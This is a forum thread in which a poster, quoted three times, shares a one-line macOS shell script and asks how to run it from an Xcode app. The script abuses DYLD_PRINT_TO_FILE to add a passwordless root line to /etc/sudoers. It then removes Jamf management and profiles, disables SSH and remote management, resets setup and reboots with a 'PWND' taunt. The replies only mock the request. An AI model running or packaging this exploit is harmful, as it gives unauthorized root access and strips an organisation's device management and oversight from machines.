Become a MacRumors Supporter for $50/year with no ads, ability to filter front page stories, and private forums.
Ok Everyone i Managed to Shorten My Script to:

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s sudo /usr/local/bin/jamf removeFramework; sudo profiles -d; sudo launchctl unload -w /System/Library/LaunchDaemons/ssh.plist; sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off; sudo rm /var/db/.applesetupdone; echo PWND By Mason Dulemba 2016, G3T R3KD N00BZ; sudo reboot

Could someone tell me how i could run that through an xcode app ? Please ?
 
Ok Everyone i Managed to Shorten My Script to:

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s sudo /usr/local/bin/jamf removeFramework; sudo profiles -d; sudo launchctl unload -w /System/Library/LaunchDaemons/ssh.plist; sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off; sudo rm /var/db/.applesetupdone; echo PWND By Mason Dulemba 2016, G3T R3KD N00BZ; sudo reboot

Could someone tell me how i could run that through an xcode app ? Please ?

Your first error says it's multiple statements on a line, which then says you need a " ; " to separate them.
Echo is an unresolved identifier, so you need to define Echo also.
 
Ok Everyone i Managed to Shorten My Script to:

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s sudo /usr/local/bin/jamf removeFramework; sudo profiles -d; sudo launchctl unload -w /System/Library/LaunchDaemons/ssh.plist; sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off; sudo rm /var/db/.applesetupdone; echo PWND By Mason Dulemba 2016, G3T R3KD N00BZ; sudo reboot

Could someone tell me how i could run that through an xcode app ? Please ?
Start X-code, create a new OS X Command Line Tool with Swift as the language and enter the following code after the line "import foundation":
while true {
print("I will stay the hell away from trying to write lame but malicious crap")
}
 
Register on MacRumors! This sidebar will go away, and you'll see fewer ads.